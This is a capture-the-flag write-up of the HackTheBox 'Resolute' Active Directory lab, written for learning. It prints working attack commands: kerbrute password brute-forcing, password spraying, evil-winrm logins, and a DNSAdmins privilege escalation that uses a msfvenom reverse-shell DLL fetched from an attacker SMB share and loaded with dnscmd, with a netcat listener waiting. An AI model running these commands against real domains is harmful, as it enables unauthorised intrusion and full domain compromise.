HackTheBox: Resolute

HackTheBox: Resolute

·

8 min read

Introduction

Resolute is rated as a medium-difficulty Window machine and is part of the 'Active Directory 101' track on HackTheBox. Without giving too much away if you only came here for a nudge, the target is an Active Directory Domain Controller and presents an interesting attack surface to develop TTPs relevant to AD environments. Without further ado, let's just get into it.

Enumeration

We start with our typical Top1000 TCP ports scan, but it quickly starts looking like a lot of ports are active on this machine. For cases like this (and really anytime you're trying to adequately map the exposed attack surface), we run a full TCP port scan to make sure we're not missing anything.

  • More than a few times I've overlooked an obvious foothold just because it was a service running on an uncommon or unusual port. Now we start with a Top1000 scan just to have something to start with, but always follow up with a full port scan afterward.

Our full port scan comes back with 24 open ports. Many of which look like the types of ports you might see on an Active Directory Domain Controller.

Rather than manually entering each port we have a wonderfully bashy one-liner to format this output into something easily passed to nmap.

  • First we copy/paste this section into a file we'll call ports.txt

  • Then we'll use cat to read the file, tr to translate the slash(/) character into a blank space, awk to read the first field, and finally tr again, this time to translate the new-line character into a comma.

  • Altogether it looks like: - cat ports.txt|tr "/" " "|awk '{print $1}'|tr "\n" "," -

After we run default scripts and version enumeration scripts on those ports we see these results.

  • DNS (53)

  • Kerberos(88)

  • MSRPC(135)

  • Netbios/SMB(139/445)

  • LDAP(389/636/3268) -

From the Nmap scan we're also able to retrieve the FQDN or Fully Qualified Domain Name. We add this to our /etc/hosts file in order to make our attack machine more familiar with where to find, or how to call our target victim machine.

SMB (139/445)

We try enumerating SMB shares with a null as well as a guest session but both get shut down.

Most likely because this is an older box, but the tool, enum4linux actually fetches something useful for a change.

  • We're able to dump a list of usernames through RID cycling

  • Additionally, it looks like this user MEGABANK\ryan is the only user that's part of a group besides normal 'Domain Users'.

Now that we've got a valid username of interest, (and we know there's no risk of lockout from the password info dumped from enum4linux) we can try bruteforcing a password for megabank\ryan with the Kerbrute tool.

Initial Foothold

Now we've got some valid usernames, and one potentially high-value target, we can start querying Kerberos for valid credentials.

  • We don't have any additional info about the users to go off at the moment (and its a CTF type machine and not a live network), and just to have something running the background, we can throw the rockyou wordlist at Kerberos and try every password in the list to see if they work for 'ryan'.

    • kerbrute bruteuser --dc $IP -d megabank.local -t75 /usr/share/wordlists/rockyou.txt ryan

We also try querying Kerberos for any users that don't have Pre-Auth set. If we identify a principal without pre-auth we can request a TGT for the principal and potentially crack the included hash to find a password...but we don't get any hits at all..

Eventually was hitting a wall so tried a different approach with RPCClient.

It took a bit of trial and error to find a working login syntax for a null session. Tried -U " " and -U "" but neither worked to grant us access. Eventually found something the server liked by specifying a null session and No-Pass with the -N flag.

  • rpcclient -U '' -N $IP

Using the querydispinfo command we're able to dump info about each user account, including the "Description" section used for notes. One user in particular, has a comment about the password used during account creation.

We try logging in as Marko using this found password, but nothing sticks. Could be that the user has already changed the password from the default value set during account creation.

Since it may be a default password for all new accounts, we try spraying the found password against all the valid usernames we've found thus far. One of them looks to still be using the original password.

We try logging in with SMB and we're successful in logging in, but we don't find anything useful in any of the shares we have access to.

At this point, we know we have valid creds, but we haven't yet found a place to use them that provides anything useful.

  • Going back over the attack surface we decide to try the creds against the WinRM service hosted on port 5985.

  • Not only do the creds work but we get the 'Pwn3d!' message from CrackMapExec indicating we should be able to pop a shell through this.

Lateral Movement

We pivot to using the Evil-WinRM tool to interface with the service on port 5985.

  • evil-winrm -i $IP -u melanie -p PASSWORD

We find a home directory for the 'ryan' user but we're not able to read anything within it.

We transfer Winpeas over for so automated enumeration while we continue our manual exploration. Eventually, we check the root folder at C:\ for hidden files and folders.

  • We find a hidden folder called PSTranscripts. This is a folder typically created when invoking the Powershell Start-Transcript cmdlet.

After we traverse the hidden folder we find a text file containing a powershell transcript.

  • Looking through the document we see some commands being run as 'ryan' and we even see their password passed as plaintext when connecting to a remote fileshare.

Privilege Escalation

We find that we can use Evil-WinRM to logon as 'ryan' using the password we just recovered.

  • We don't find any flags on their desktop, but we do find a note.

  • Seems to just specify that there's an automatic task to revert any system changes every minute.

At this point, we've got creds for two different users but it's not immediately apparent how we might escalate our access further. But with valid credentials it is a good time to query the Domain Controller directly with Bloodhound and try to discover any interesting relationships on this Domain.

I really prefer the Python version of Bloodhound now rather than running it locally via Powershell and then having to exfiltrate the extracted data.

  • bloodhound-python -u ryan -p <PASSWORD> -dc megabank.local -d megabank.local -ns $IP -c all

This will generate some .json files which we can then drag and drop into the main Bloodhound GUI.

When we first get into the Bloodhound graph view it'll be empty. The first thing I like to do is search for any principals we already own, right-click them and 'Mark as owned'. This will aid us in future queries we may make just by letting Bloodhound know that we already have control over this user/group/etc..

  • After searching for 'ryan' we click through the Node Info and scroll to GROUP MEMBERSHIP.

    • In this subsection we can see 'ryan' has a 'First Degree Group Membership' in two different groups.

    • When we click on the number 2 it will show us those groups in the graph view.

It looks like the user 'ryan' is part of the 'Contractors' group.

  • When we click on the node for the 'Contractors' group, we repeat the previous steps and find what groups the 'Contractors' have membership in.

  • It turns out any user that is part of 'Contractors' is also part of the 'DNSAdmins' group.

We do some research on what this group is and if it might be exploitable which leads us to the following article on privilege escalation through the DNSAdmin group.

In this scenario the DNSAdmins have the ability to load .dll files as configuration files as well as the ability to stop and restart the DNS service located on this machine.

  • First we create a malicious .dll with msfvenom

    • msfvenom -p windows/x64/shell_reverse_tcp LHOST=IPAddress LPORT=4242 -f dll -o rev42.dll
  • For ease of access we're going to use the impacket-smbserver script to host the .dll file on an SMB share we control, but still accessible to the victim machine. (Remember the .dll file could be transferred via other means if needed.)

    • impacket-smbserver kali .

    • impacket-smbserver <ShareName> <ShareLocation>

  • Then we set our netcat listener with: rlwrap nc -lvnp 4242

  • Finally, we run the dnscmd command to load our rogue dll and receive our reverse shell back.

    • dnscmd /config /serverlevelplugindll \\10.10.14.5\kali\rev42.dll

    • dnscmd <DCName> /config /serverlevelplugindll <PathToDLL

Now we're on the box as NT Authority\SYSTEM! We can grab the root.txt file and call this box done.